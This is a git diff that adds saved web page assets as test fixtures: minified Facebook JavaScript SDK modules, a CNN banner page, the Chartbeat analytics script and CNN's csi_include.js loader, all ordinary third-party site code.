+__d("PluginPipe",["sdk.Content","copyProperties","guid","insertIframe","Miny","ObservableMixin","sdk.Runtime","UrlMap","UserAgent","XFBML","PluginPipeConfig","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Content'),h=b('copyProperties'),i=b('guid'),j=b('insertIframe'),k=b('Miny'),l=b('ObservableMixin'),m=c('PluginPipeConfig'),n=b('sdk.Runtime'),o=c('SDKConfig'),p=b('UrlMap'),q=b('UserAgent'),r=b('XFBML'),s=new l(),t=m.threshold,u=[];function v(){return !!(o.usePluginPipe&&n.getSecure()! [...]
+__d("IframePlugin",["sdk.Auth","sdk.createIframe","sdk.DOM","sdk.Event","guid","Log","ObservableMixin","PluginPipe","QueryString","resolveURI","sdk.Runtime","Type","UrlMap","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.createIframe'),i=b('sdk.DOM'),j=b('sdk.Event'),k=b('guid'),l=b('Log'),m=b('ObservableMixin'),n=b('PluginPipe'),o=b('QueryString'),p=b('resolveURI'),q=b('sdk.Runtime'),r=b('Type'),s=b('UrlMap'),t=b('sdk.XD'),u={skin:'string',font:'string',width:'px',height:'p [...]
+__d("PluginTags",[],function(a,b,c,d,e,f){var g={activity:{border_color:'string',filter:'string',action:'string',max_age:'string',linktarget:'string',header:'bool',recommendations:'bool',site:'hostname'},create_event_button:{},degrees:{href:'url',limit_profile_visibility:'bool'},facepile:{href:'string',action:'string',size:'string',max_rows:'string',show_count:'bool'},friendpile:{href:'string',action:'string',size:'string',max_rows:'string'},follow:{href:'url',layout:'string',show_faces: [...]
+__d("sdk.Arbiter",[],function(a,b,c,d,e,f){var g={BEHAVIOR_EVENT:'e',BEHAVIOR_PERSISTENT:'p',BEHAVIOR_STATE:'s'};e.exports=g;});
+__d("sdk.XFBML.Element",["sdk.DOM","Type","ObservableMixin"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h=b('Type'),i=b('ObservableMixin'),j=h.extend({constructor:function(k){this.parent();this.dom=k;},fire:function(){this.inform.apply(this,arguments);},getAttribute:function(k,l,m){var n=g.getAttr(this.dom,k);return n?m?m(n):n:l;},_getBoolAttribute:function(k,l){var m=g.getBoolAttr(this.dom,k);return m===null?l:m;},_getPxAttribute:function(k,l){return this.getAttribute(k,l,function(m){var [...]
+__d("sdk.XFBML.IframeWidget",["sdk.Arbiter","sdk.Auth","sdk.Content","copyProperties","sdk.DOM","sdk.Event","sdk.XFBML.Element","guid","insertIframe","QueryString","sdk.Runtime","sdk.ui","UrlMap","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Arbiter'),h=b('sdk.Auth'),i=b('sdk.Content'),j=b('copyProperties'),k=b('sdk.DOM'),l=b('sdk.Event'),m=b('sdk.XFBML.Element'),n=b('guid'),o=b('insertIframe'),p=b('QueryString'),q=b('sdk.Runtime'),r=b('sdk.ui'),s=b('UrlMap'),t=b('sdk.XD'),u=m.extend({_if [...]
+__d("sdk.XFBML.Comments",["sdk.Event","sdk.XFBML.IframeWidget","QueryString","sdk.Runtime","UrlMap","UserAgent","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Event'),h=b('sdk.XFBML.IframeWidget'),i=b('QueryString'),j=b('sdk.Runtime'),k=c('SDKConfig'),l=b('UrlMap'),m=b('UserAgent'),n=h.extend({_visibleAfter:'immediate',_refreshOnAuthChange:true,setupAndValidate:function(){var o={channel_url:this.getChannelUrl(),colorscheme:this.getAttribute('colorscheme'),numposts:this.getAttribute('num [...]
+__d("sdk.XFBML.CommentsCount",["sdk.Data","sdk.DOM","sdk.XFBML.Element","sprintf"],function(a,b,c,d,e,f){var g=b('sdk.Data'),h=b('sdk.DOM'),i=b('sdk.XFBML.Element'),j=b('sprintf'),k=i.extend({process:function(){h.addCss(this.dom,'fb_comments_count_zero');var l=this.getAttribute('href',window.location.href);g._selectByIndex(['commentsbox_count'],'link_stat','url',l).wait(ES5(function(m){var n=m[0].commentsbox_count;h.html(this.dom,j('<span class="fb_comments_count">%s</span>',n));if(n>0)h [...]
+__d("sdk.Anim",["sdk.DOM"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h={ate:function(i,j,k,l){k=!isNaN(parseFloat(k))&&k>=0?k:750;var m=40,n={},o={},p=null,q=setInterval(ES5(function(){if(!p)p=ES5('Date','now',false);var r=1;if(k!=0)r=Math.min((ES5('Date','now',false)-p)/k,1);for(var s in j)if(j.hasOwnProperty(s)){var t=j[s];if(!n[s]){var u=g.getStyle(i,s);if(u===false)return;n[s]=this._parseCSS(u+'');}if(!o[s])o[s]=this._parseCSS(t.toString());var v='';ES5(n[s],'forEach',true,function(w, [...]
+__d("escapeHTML",[],function(a,b,c,d,e,f){var g=/[&<>"'\/]/g,h={'&':'&','<':'<','>':'>','"':'"',"'":''','/':'/'};function i(j){return j.replace(g,function(k){return h[k];});}e.exports=i;});
+__d("sdk.Helper",["sdk.ErrorHandling","sdk.Event","safeEval","UrlMap"],function(a,b,c,d,e,f){var g=b('sdk.ErrorHandling'),h=b('sdk.Event'),i=b('safeEval'),j=b('UrlMap'),k={isUser:function(l){return l<2.2e+09||(l>=1e+14&&l<=100099999989999)||(l>=8.9e+13&&l<=89999999999999);},upperCaseFirstChar:function(l){if(l.length>0){return l.substr(0,1).toUpperCase()+l.substr(1);}else return l;},getProfileLink:function(l,m,n){n=n||(l?j.resolve('www')+'/profile.php?id='+l.uid:null);if(n)m='<a class="fb [...]
+__d("sdk.XFBML.ConnectBar",["sdk.Anim","sdk.api","sdk.Auth","createArrayFrom","sdk.Data","sdk.DOM","sdk.XFBML.Element","escapeHTML","sdk.Event","format","sdk.Helper","sdk.Insights","sdk.Intl","sdk.Runtime","UrlMap","UserAgent","ConnectBarConfig"],function(a,b,c,d,e,f){var g=b('sdk.Anim'),h=b('sdk.api'),i=b('sdk.Auth'),j=b('createArrayFrom'),k=c('ConnectBarConfig'),l=b('sdk.Data'),m=b('sdk.DOM'),n=b('sdk.XFBML.Element'),o=b('escapeHTML'),p=b('sdk.Event'),q=b('format'),r=b('sdk.Helper'),s= [...]
+__d("sdk.XFBML.Fan",["sdk.XFBML.IframeWidget","sdk.Runtime","Log"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.Runtime'),i=b('Log'),j=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={api_key:h.getClientID(),connections:this.getAttribute('connections','10'),css:this.getAttribute('css'),height:this._getPxAttribute('height'),id:this.getAttribute('profile-id'),logobar:this._getBoolAttribute('logo-bar'),name:this.getAttribute('name'),stream:this._get [...]
+__d("sdk.XFBML.EdgeCommentWidget",["sdk.XFBML.IframeWidget","sdk.DOM"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.DOM'),i=10000,j=g.extend({constructor:function(k){this.parent(k.commentNode);this._iframeWidth=k.width+1;this._iframeHeight=k.height;this._attr={master_frame_name:k.masterFrameName,offsetX:k.relativeWidthOffset-k.paddingLeft};this.dom=k.commentNode;this.dom.style.top=k.relativeHeightOffset+'px';this.dom.style.left=k.relativeWidthOffset+'px';this.dom.styl [...]
+__d("sdk.XFBML.EdgeWidget",["sdk.XFBML.IframeWidget","sdk.XFBML.EdgeCommentWidget","sdk.DOM","sdk.Helper","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=b('sdk.XFBML.EdgeCommentWidget'),i=b('sdk.DOM'),j=b('sdk.Helper'),k=b('sdk.Runtime'),l=g.extend({_visibleAfter:'immediate',_showLoader:false,_rootPadding:null,setupAndValidate:function(){i.addCss(this.dom,'fb_edge_widget_with_comment');this._attr={channel_url:this.getChannelUrl(),debug:this._getBoolAttribute('de [...]
+__d("sdk.XFBML.SendButtonFormWidget",["sdk.XFBML.EdgeCommentWidget","sdk.DOM","sdk.Event"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeCommentWidget'),h=b('sdk.DOM'),i=b('sdk.Event'),j=g.extend({constructor:function(k){this.parent(k);h.addCss(this.dom,'fb_send_button_form_widget');h.addCss(this.dom,k.colorscheme);h.addCss(this.dom,(typeof k.siderender!='undefined'&&k.siderender)?'siderender':'');this._attr.nodeImageURL=k.nodeImageURL;this._attr.nodeRef=k.nodeRef;this._attr.nodeTitle=k.n [...]
+__d("sdk.XFBML.Like",["sdk.XFBML.EdgeWidget","sdk.XFBML.SendButtonFormWidget"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeWidget'),h=b('sdk.XFBML.SendButtonFormWidget'),i=g.extend({getUrlBits:function(){return {name:'like',params:this._attr};},_createEdgeCommentWidget:function(j,k){if('send' in this._attr&&'widget_type' in j&&j.widget_type=='send'){var l=this._getCommonEdgeCommentWidgetOpts(j,k);return new h(l);}else return this.parentCall("_createEdgeCommentWidget",j,k);},getIframeTit [...]
+__d("sdk.XFBML.LikeBox",["sdk.XFBML.EdgeWidget","sdk.Helper","Log","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.EdgeWidget'),h=b('sdk.Helper'),i=b('Log'),j=b('sdk.Runtime'),k=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={channel:this.getChannelUrl(),api_key:j.getClientID(),connections:this.getAttribute('connections'),css:this.getAttribute('css'),height:this.getAttribute('height'),id:this.getAttribute('profile-id'),header:this._getBoolAttribute('header' [...]
+__d("sdk.XFBML.LiveStream",["sdk.XFBML.IframeWidget"],function(a,b,c,d,e,f){var g=b('sdk.XFBML.IframeWidget'),h=g.extend({_visibleAfter:'load',setupAndValidate:function(){this._attr={app_id:this.getAttribute('event-app-id'),href:this.getAttribute('href',window.location.href),height:this._getPxAttribute('height',500),hideFriendsTab:this.getAttribute('hide-friends-tab'),redesigned:this._getBoolAttribute('redesigned-stream'),width:this._getPxAttribute('width',400),xid:this.getAttribute('xid [...]
+__d("sdk.XFBML.LoginButton",["sdk.Helper","IframePlugin"],function(a,b,c,d,e,f){var g=b('sdk.Helper'),h=b('IframePlugin'),i=h.extend({constructor:function(j,k,l,m){this.parent(j,k,l,m);var n=h.getVal(m,'on_login');if(n)this.subscribe('login.status',function(o){g.invokeHandler(n,null,[o]);});},getParams:function(){return {scope:'string',perms:'string',size:'string',login_text:'text',show_faces:'bool',max_rows:'string',show_login_face:'bool',registration_url:'url_maybe',auto_logout_link:'b [...]
+__d("sdk.XFBML.Name",["copyProperties","sdk.Data","escapeHTML","sdk.Event","sdk.XFBML.Element","sdk.Helper","Log","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('sdk.Data'),i=b('escapeHTML'),j=b('sdk.Event'),k=b('sdk.XFBML.Element'),l=b('sdk.Helper'),m=b('Log'),n=b('sdk.Runtime'),o=k.extend({process:function(){g(this,{_uid:this.getAttribute('uid'),_firstnameonly:this._getBoolAttribute('first-name-only'),_lastnameonly:this._getBoolAttribute('last-name-only'),_possessiv [...]
+__d("sdk.XFBML.ProfilePic",["sdk.Data","sdk.DOM","escapeHTML","sdk.XFBML.Element","sdk.Event","format","sdk.Helper","sdk.Runtime","UrlMap","ProfilePicConfig"],function(a,b,c,d,e,f){var g=b('sdk.Data'),h=b('sdk.DOM'),i=b('escapeHTML'),j=c('ProfilePicConfig'),k=b('sdk.XFBML.Element'),l=b('sdk.Event'),m=b('format'),n=b('sdk.Helper'),o=b('sdk.Runtime'),p=b('UrlMap'),q={n:'pic_big',normal:'pic_big',q:'pic_square',s:'pic',small:'pic',square:'pic_square',t:'pic_small',thumb:'pic_small'},r=k.ext [...]
+__d("sdk.XFBML.RecommendationsBar",["sdk.Arbiter","DOMEventListener","sdk.Event","sdk.XFBML.IframeWidget","resolveURI","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.Arbiter'),h=b('DOMEventListener'),i=b('sdk.Event'),j=b('sdk.XFBML.IframeWidget'),k=b('resolveURI'),l=b('sdk.Runtime'),m=j.extend({getUrlBits:function(){return {name:'recommendations_bar',params:this._attr};},setupAndValidate:function(){function n(w,x){var y=0,z=null;function aa(){x();z=null;y=ES5('Date','now',false);}retu [...]
+__d("sdk.XFBML.Registration",["sdk.Auth","sdk.Helper","sdk.XFBML.IframeWidget","sdk.Runtime","UrlMap"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.Helper'),i=b('sdk.XFBML.IframeWidget'),j=b('sdk.Runtime'),k=b('UrlMap'),l=i.extend({_visibleAfter:'immediate',_baseHeight:167,_fieldHeight:28,_skinnyWidth:520,_skinnyBaseHeight:173,_skinnyFieldHeight:52,setupAndValidate:function(){this._attr={action:this.getAttribute('action'),border_color:this.getAttribute('border-color'),channel_url:t [...]
+__d("sdk.XFBML.Send",["sdk.DOM","sdk.XFBML.EdgeWidget","sdk.Runtime","sdk.XFBML.SendButtonFormWidget"],function(a,b,c,d,e,f){var g=b('sdk.DOM'),h=b('sdk.XFBML.EdgeWidget'),i=b('sdk.Runtime'),j=b('sdk.XFBML.SendButtonFormWidget'),k=h.extend({setupAndValidate:function(){g.addCss(this.dom,'fb_edge_widget_with_comment');this._attr={channel:this.getChannelUrl(),api_key:i.getClientID(),font:this.getAttribute('font'),colorscheme:this.getAttribute('colorscheme','light'),href:this.getAttribute('h [...]
+__d("sdk.XFBML.SocialContext",["sdk.Event","sdk.XFBML.IframeWidget"],function(a,b,c,d,e,f){var g=b('sdk.Event'),h=b('sdk.XFBML.IframeWidget'),i=h.extend({setupAndValidate:function(){var j=this.getAttribute('size','small');this._attr={channel:this.getChannelUrl(),width:this._getPxAttribute('width',400),height:this._getPxAttribute('height',100),ref:this.getAttribute('ref'),size:this.getAttribute('size'),keywords:this.getAttribute('keywords'),urls:this.getAttribute('urls'),object_id:this.ge [...]
+__d("legacy:fb.xfbml",["Assert","sdk.domReady","sdk.Event","FB","IframePlugin","PluginTags","wrapFunction","XFBML","sdk.XFBML.Comments","sdk.XFBML.CommentsCount","sdk.XFBML.ConnectBar","sdk.XFBML.Fan","sdk.XFBML.Like","sdk.XFBML.LikeBox","sdk.XFBML.LiveStream","sdk.XFBML.LoginButton","sdk.XFBML.Name","sdk.XFBML.ProfilePic","sdk.XFBML.RecommendationsBar","sdk.XFBML.Registration","sdk.XFBML.Send","sdk.XFBML.SocialContext"],function(a,b,c,d){var e=b('Assert'),f=b('sdk.domReady'),g=b('sdk.Ev [...]
+void(0);
+}).call({}, window.inDapIF ? parent.window : window);
+} catch (e) {new Image().src="http:\/\/www.facebook.com\/" + 'common/scribe_endpoint.php?c=jssdk_error&m='+encodeURIComponent('{"error":"LOAD", "extra": {"name":"'+e.name+'","line":"'+(e.lineNumber||e.line)+'","script":"'+(e.fileName||e.sourceURL||e.script)+'","stack":"'+(e.stackTrace||e.stack)+'","message":"'+e.message+'"}}');}
\ No newline at end of file
diff --git a/src/test/resources/s/cf/arrow_black.png b/src/test/resources/s/cf/arrow_black.png
new file mode 100644
index 0000000..4c55508
Binary files /dev/null and b/src/test/resources/s/cf/arrow_black.png differ
diff --git a/src/test/resources/s/cf/banner.htm b/src/test/resources/s/cf/banner.htm
new file mode 100644
index 0000000..3aac33d
--- /dev/null
+++ b/src/test/resources/s/cf/banner.htm
@@ -0,0 +1,16 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<!-- saved from url=(0082)http://edition.cnn.com/.element/ssi/intl/breaking_news/3.0/banner.html?&csiID=csi1 -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><script>var cnnDocDomain='';
+if(location.hostname.indexOf('cnn.com')>0) { cnnDocDomain='cnn.com'; }
+if(location.hostname.indexOf('turner.com')>0) { cnnDocDomain='turner.com'; }
+if(cnnDocDomain) { document.domain = cnnDocDomain;}
+</script>
+</head>
+
+<body>
+<form name="mainForm">
+<textarea></textarea>
+</form>
+
+
+</body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/cf/btn_search_hp_text.gif b/src/test/resources/s/cf/btn_search_hp_text.gif
new file mode 100644
index 0000000..e41f680
Binary files /dev/null and b/src/test/resources/s/cf/btn_search_hp_text.gif differ
diff --git a/src/test/resources/s/cf/chartbeat.js b/src/test/resources/s/cf/chartbeat.js
new file mode 100644
index 0000000..535843c
--- /dev/null
+++ b/src/test/resources/s/cf/chartbeat.js
@@ -0,0 +1,11 @@
+(function(){var e=true,g,h=this;function k(a){var b={};if(a){a.charAt(0)=="?"&&(a=a.substring(1));for(var a=a.replace("+"," "),a=a.split(/[&;]/g),c=0;c<a.length;c++){var d=a[c].split("=");b[decodeURIComponent(d[0])]=decodeURIComponent(d[1])}}return b}function m(a,b,c){var d="",f=h.location.href.split("?");f.length&&(f=k(f[1]),b=c||b,f[b]&&(d="&"+a+"="+f[b]));return d};function q(a,b,c,d){return(a=a[c]||a[d])?"&g"+b+"="+encodeURIComponent(a):""};function r(){if(s!==void 0)return s;try{var [...]
+g.p=function(){var a=h._sf_startpt,b=h._sf_endpt;if(typeof a=="number")this.t=typeof b=="number"?b-a:y()-a;this.l=setInterval(u(this.j,this),15E3);this.j()};g.G=function(){this.f.push(1);for(var a=0,b=0;b<this.f.length;++b)a+=this.f[b];a<3?(this.n=e,A(this)):(clearInterval(this.l),B("_SUPERFLY_nosample","1",0.0070))};function C(a){if(!x("_SUPERFLY_nosample"))a.C?a.p():(a.C=e,!h._sf_async_config&&!h._cbq?v("load",u(a.p,a)):a.p())}
+g.F=function(){var a=this.o,b=r();if(b)b._cb_cp+=(b._cb_cp?",":"")+a;else if(!h.name)h.name="_cb_cp"+a};function A(a){var b=a.g,b=b?Math.min(b*2,16):1;a.g=b}g.I=function(a,b){this.w=h.location.protocol+"//"+this.a.domain+this.a.path;this.a.path=a;b&&(this.a.title=b);clearInterval(this.l);this.b();C(this)};
+g.j=function(){var a=this.a.reading&&+this.a.reading||D(this.d);E(this.d);if(this.m<this.g&&!a)this.m++;else{a?this.g=0:A(this);this.m=0;this.f.push(0);this.f.length>18&&this.f.shift();var a=this.a,b=F(),c=Math.round((y()-this.u)/600)/100,d=0,f=0,j=0;G(this.d,"onkeydown")?f=1:this.a.reading&&+this.a.reading||G(this.d,"onmousemove")||G(this.d,"onscroll")||c<0.1?d=1:j=1;var n="",i="",I=h.location;if(this.n)this.n=false,this.w?(n=this.w,i=e):(n=document.referrer||"",i=n.indexOf("://"+I.host [...]
+-1&&i<9),n=(i?"&v=":"&r=")+encodeURIComponent(n),i=a.title.slice(0,100),i="&i="+encodeURIComponent(i);var Q=this.t?"&b="+this.t:"",R=this.k?"&A="+this.k:"",S=this.r?"&f="+this.r:"",o,l=r();if(l)o=l._cb_cp,l._cb_cp="";else if(/_cb_cp[a-z0-9]{16}/.test(h.name))o=h.name.substr(6),h.name="";o=o?"&D="+o:"";var l=[],p;for(p in a)p.charAt(0)=="_"&&l.push(p+"="+a[p]);p=(I.protocol||"http:")+"//"+a.pingServer+"/ping?h="+encodeURIComponent(a.domain)+"&p="+encodeURIComponent(a.path)+"&u="+(w()[0]|| [...]
+encodeURIComponent(this.B)+"&g="+a.uid+q(a,0,"sections","categories")+q(a,1,"authors","brands")+(a.noCookies?"":"&n="+this.D)+S+"&c="+c+"&x="+b+"&y="+(document.body.scrollHeight||0)+"&w="+(h.innerHeight||document.body.offsetHeight||0)+"&j="+Math.round((this.g+2)*15E3/1E3)+"&R="+d+"&W="+f+"&I="+j+"&E="+this.q+n+Q+R+m("C","utm_campaign",a.campaignTag)+m("M","utm_medium",a.mediumTag)+"&t="+this.o+"&V=8"+o+i+(l.length?"&"+l.join("&"):"")+"&_";a=new Image(1,1);a.onerror=this.A;a.src=p;y()-thi [...]
+clearInterval(this.l)}};function H(a,b){var c=Math;return c.abs(c.floor((+b-+a)/864E5))}function J(a,b){for(;b--;)a+=b==0?1:0;return a};function F(){var a=document.body,b=document.documentElement;if(typeof h.pageYOffset=="number")return h.pageYOffset;else if(a&&a.scrollTop)return a.scrollTop;else if(b&&b.scrollTop)return b.scrollTop;return 0};function K(a){z.call(this,a)}(function(){var a=z;function b(){}b.prototype=a.prototype;K.v=a.prototype;K.prototype=new b})();
+K.prototype.b=function(){K.v.b.call(this);this.q=0;this.k=null;for(var a=this.a,b=document.getElementsByTagName("script"),c=0;c<b.length;++c)if(b[c].src.match(/chartbeat.js/)){b=k(b[c].src.split("?")[1]);a.uid=a.uid||b.uid;a.domain=a.domain||b.domain;break}a=h.location;b=this.a;b.pingServer=b.pingServer||"ping.chartbeat.net";b=this.a;b.title=b.title||document.title;b=this.a;b.domain=b.domain||a.host;b=this.a;a:{c=null;if(this.a.useCanonical){for(var c=null,d=document.getElementsByTagName [...]
+f=0;f<d.length;++f)if(d[f].rel=="canonical")c=d[f].href,c=c.substring(c.indexOf("/",9));if(c)break a}f=h.location;c=f.pathname+(f.search||"");c=c.replace(/PHPSESSID=[^&]+/,"");d=/&utm_[^=]+=[^&]+/ig;(f=d.exec(f.search))&&(c=c.replace(d,""));d=/\?utm_[^=]+=[^&]+(.*)/i;(f=d.exec(c))&&(c=c.replace(d,f[1]!=""?"?"+f[1]:""))}b.path=b.path||c;this.B=a.host.replace(/^www\./,"");this.a.domain=this.a.domain.replace(/^www\./,"");this.h=x("_chartbeat2");a=y()-+((this.h||"").split(".")[1]||0);d=y();f [...]
+14);f&&(c=f[3],(d=H(f[2],d))&&d<14&&(b=J(c.substr(d),d)));this.D=this.h&&a>18E5?0:1;this.h?(a=w(),a[2]=y(),a[3]=b,this.h=a.join(".")):this.h=t()+"."+y()+"."+y()+"."+b;B("_chartbeat2",this.h,30);var j;a=w();if(b=a[3])H(a[1],a[2])<14&&(b=b.substr(b.indexOf("1"))),j=Math.round(b.length/b.replace(/0/g,"").length*10)/10;this.r=j};K.prototype.z=function(a){this.k=a};K.prototype.j=function(){D(this.d)&&(this.q+=15);K.v.j.call(this)};function L(){this.i=[];M(this,h,"onscroll");M(this,document.bo [...]
+function G(a,b){for(var c=0,d=0;d<a.c.length;d++)c+=a.c[d][b]||0;return c}function E(a){a.e=(a.e+1)%a.c.length;for(var b=0;b<a.i.length;b++)a.c[a.e][a.i[b]]=0};function x(a){a+="=";for(var b=document.cookie.split(";"),c=0;c<b.length;c++){for(var d=b[c];d.charAt(0)==" ";)d=d.substring(1,d.length);if(d.indexOf(a)==0)return d.substring(a.length,d.length)}return null}function B(a,b,c){var d=h._sf_async_config;if(!d||!d.noCookies)d=new Date,d.setTime(y()+c*864E5),document.cookie=a+"="+b+("; e [...]
diff --git a/src/test/resources/s/cf/csi_include(1).js b/src/test/resources/s/cf/csi_include(1).js
new file mode 100644
index 0000000..718f325
--- /dev/null
+++ b/src/test/resources/s/cf/csi_include(1).js
@@ -0,0 +1,98 @@
+function cnnGetId(query)
+{
+ var queryId = cnnGetQueryId( query);
+ var wId = cnnGetWindowNameId();
+
+ var idsMatch = (queryId == wId);
+
+ var imageObj = document.createElement('img');
+ imageObj.setAttribute('src','http://i.cdn.turner.com/cnn/images/1.gif?csiTestMatch='+idsMatch);
+ if(document.documentElement)
+ {
+ document.documentElement.appendChild( imageObj );
+ }
+ return queryId;
+
+}
+function cnnGetWindowNameId()
+{
+ if(window.name && (window.name.indexOf('csiDataIframe')==0))
+ {
+ return window.name.substring(13);
+ }
+ return '';
+}
+
+function cnnGetQueryId(query)
+{
+ var keyValPairs = query.split('&');
+ if(!keyValPairs)
+ {
+ keyValPairs = new Array();
+ keyValPairs[keyValPairs.length]=query;
+ }
+ for(var counter=0;counter<keyValPairs.length;counter++)
+ {
+ var keyVal = keyValPairs[counter].split('=');
+
+ if(keyVal[0]=='csiID')
+ {
+ return keyVal[1];
+ }
+ }
+}
+
+function cnnSend()
+{
+ if(top.CSIManager.getInstance().handleClientData)
+ {
+ top.CSIManager.getInstance().handleClientData( window, document);
+ }
+ else
+ {
+ var paramStr = location.hash;
+ if(!paramStr)
+ {
+ paramStr = location.search.substring(1);
+ }
+ var docId = cnnGetId( paramStr );
+ if(document.mainForm.htmlArea && document.mainForm.htmlArea.value)
+ {
+ var rawHtml = document.mainForm.htmlArea.value;
+ if(rawHtml)
+ {
+ top.CSIManager.getInstance().callBackHtml(rawHtml, docId);
+ }
+ }
+ else if(document.mainForm.jsCode.value)
+ {
+ var rawJS = document.mainForm.jsCode.value;
+ if(rawJS)
+ {
+ top.CSIManager.getInstance().callBackJS( eval('('+rawJS+')'), docId);
+ }
+ }
+ }
+}
+
+
+var oldonloadfunction = window.onunload;
+function dummyonunload(evt)
+{
+ if(oldonloadfunction)
+ {
+ oldonloadfunction(evt);
+ }
+}
+window.onunload=dummyonunload;
+
+var oldshowpagefunction = window.onshowpage;
+function cnnshowpageSend(evt)
+{
+
+ if(evt.persisted)
+ {
+ cnnSend();
+ }
+ oldshowpagefunction(evt);
+}
diff --git a/src/test/resources/s/cf/csi_include.js b/src/test/resources/s/cf/csi_include.js
new file mode 100644
index 0000000..718f325
--- /dev/null
+++ b/src/test/resources/s/cf/csi_include.js
@@ -0,0 +1,98 @@
+function cnnGetId(query)
+{
+ var queryId = cnnGetQueryId( query);
+ var wId = cnnGetWindowNameId();
+
+ var idsMatch = (queryId == wId);
+
+ var imageObj = document.createElement('img');
+ imageObj.setAttribute('src','http://i.cdn.turner.com/cnn/images/1.gif?csiTestMatch='+idsMatch);
+ if(document.documentElement)
+ {
+ document.documentElement.appendChild( imageObj );
+ }
+ return queryId;
+
+}
+function cnnGetWindowNameId()
+{
+ if(window.name && (window.name.indexOf('csiDataIframe')==0))
+ {
+ return window.name.substring(13);
+ }
+ return '';
+}
+
+function cnnGetQueryId(query)
+{
+ var keyValPairs = query.split('&');
+ if(!keyValPairs)
+ {
+ keyValPairs = new Array();
+ keyValPairs[keyValPairs.length]=query;
+ }
+ for(var counter=0;counter<keyValPairs.length;counter++)
+ {
+ var keyVal = keyValPairs[counter].split('=');
+
+ if(keyVal[0]=='csiID')
+ {
+ return keyVal[1];
+ }
+ }
+}
+
+function cnnSend()
+{
+ if(top.CSIManager.getInstance().handleClientData)
+ {
+ top.CSIManager.getInstance().handleClientData( window, document);
+ }
+ else
+ {
+ var paramStr = location.hash;
+ if(!paramStr)
+ {
+ paramStr = location.search.substring(1);
+ }
+ var docId = cnnGetId( paramStr );
+ if(document.mainForm.htmlArea && document.mainForm.htmlArea.value)
+ {
+ var rawHtml = document.mainForm.htmlArea.value;
+ if(rawHtml)
+ {
+ top.CSIManager.getInstance().callBackHtml(rawHtml, docId);
+ }
+ }
+ else if(document.mainForm.jsCode.value)
+ {
+ var rawJS = document.mainForm.jsCode.value;
+ if(rawJS)
+ {
+ top.CSIManager.getInstance().callBackJS( eval('('+rawJS+')'), docId);
+ }
+ }
+ }
+}
+
+
+var oldonloadfunction = window.onunload;
+function dummyonunload(evt)
+{
+ if(oldonloadfunction)
+ {
+ oldonloadfunction(evt);
+ }
+}
+window.onunload=dummyonunload;
+
+var oldshowpagefunction = window.onshowpage;
+function cnnshowpageSend(evt)
+{
+
+ if(evt.persisted)
+ {
+ cnnSend();
+ }
+ oldshowpagefunction(evt);
+}
diff --git a/src/test/resources/s/cf/eSRVo56oY0y.js b/src/test/resources/s/cf/eSRVo56oY0y.js
new file mode 100644
index 0000000..bfe5077
--- /dev/null
+++ b/src/test/resources/s/cf/eSRVo56oY0y.js
@@ -0,0 +1,85 @@
+/*1358847319,178142531*/
+
+if (self.CavalryLogger) { CavalryLogger.start_js(["oJ0pi"]); }
+
+
+
+
+self.__DEV__=self.__DEV__||0;
+
+
+
+if(JSON.stringify(["\u2028\u2029"])==='["\u2028\u2029"]')JSON.stringify=function(a){var b=/\u2028/g,c=/\u2029/g;return function(d,e,f){var g=a.call(this,d,e,f);if(g){if(-1<g.indexOf('\u2028'))g=g.replace(b,'\\u2028');if(-1<g.indexOf('\u2029'))g=g.replace(c,'\\u2029');}return g;};}(JSON.stringify);
+
+
+
+
+
+
+
+(function(a){if(a.require)return;var b=Object.prototype.toString,c={},d={},e={},f=0,g=1,h=2,i=Object.prototype.hasOwnProperty;function j(s){if(a.ErrorUtils&&!a.ErrorUtils.inGuard())return ErrorUtils.applyWithGuard(j,this,arguments);var t=c[s],u,v,w;if(!c[s]){w='Requiring unknown module "'+s+'"';throw new Error(w);}if(t.hasError)throw new Error('Requiring module "'+s+'" which threw an exception');if(t.waiting){w='Requiring module "'+s+'" with unresolved dependencies';throw new Error(w);}i [...]
+__d("copyProperties",[],function(a,b,c,d,e,f){function g(h,i,j,k,l,m,n){h=h||{};var o=[i,j,k,l,m],p=0,q;while(o[p]){q=o[p++];for(var r in q)h[r]=q[r];if(q.hasOwnProperty&&q.hasOwnProperty('toString')&&(typeof q.toString!='undefined')&&(h.toString!==q.toString))h.toString=q.toString;}return h;}e.exports=g;});
+__d("Env",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties'),h={start:Date.now()};if(a.Env){g(h,a.Env);a.Env=undefined;}e.exports=h;});
+__d("legacy:env",["Env"],function(a,b,c,d){var e=b('Env');a.Env=e;},3);
+function bagof(a){return function(){return a;};}if(typeof Env=='undefined'||!Env.allowArrayReduce){Array.prototype.reduce=null;Array.prototype.reduceRight=null;}document.documentElement.className=document.documentElement.className.replace('no_js','');
+__d("SidebarPrelude",[],function(a,b,c,d,e,f){var g={addSidebarMode:function(h){var i=document.documentElement;if(i.clientWidth>h)i.className=i.className+' sidebarMode';}};e.exports=g;});
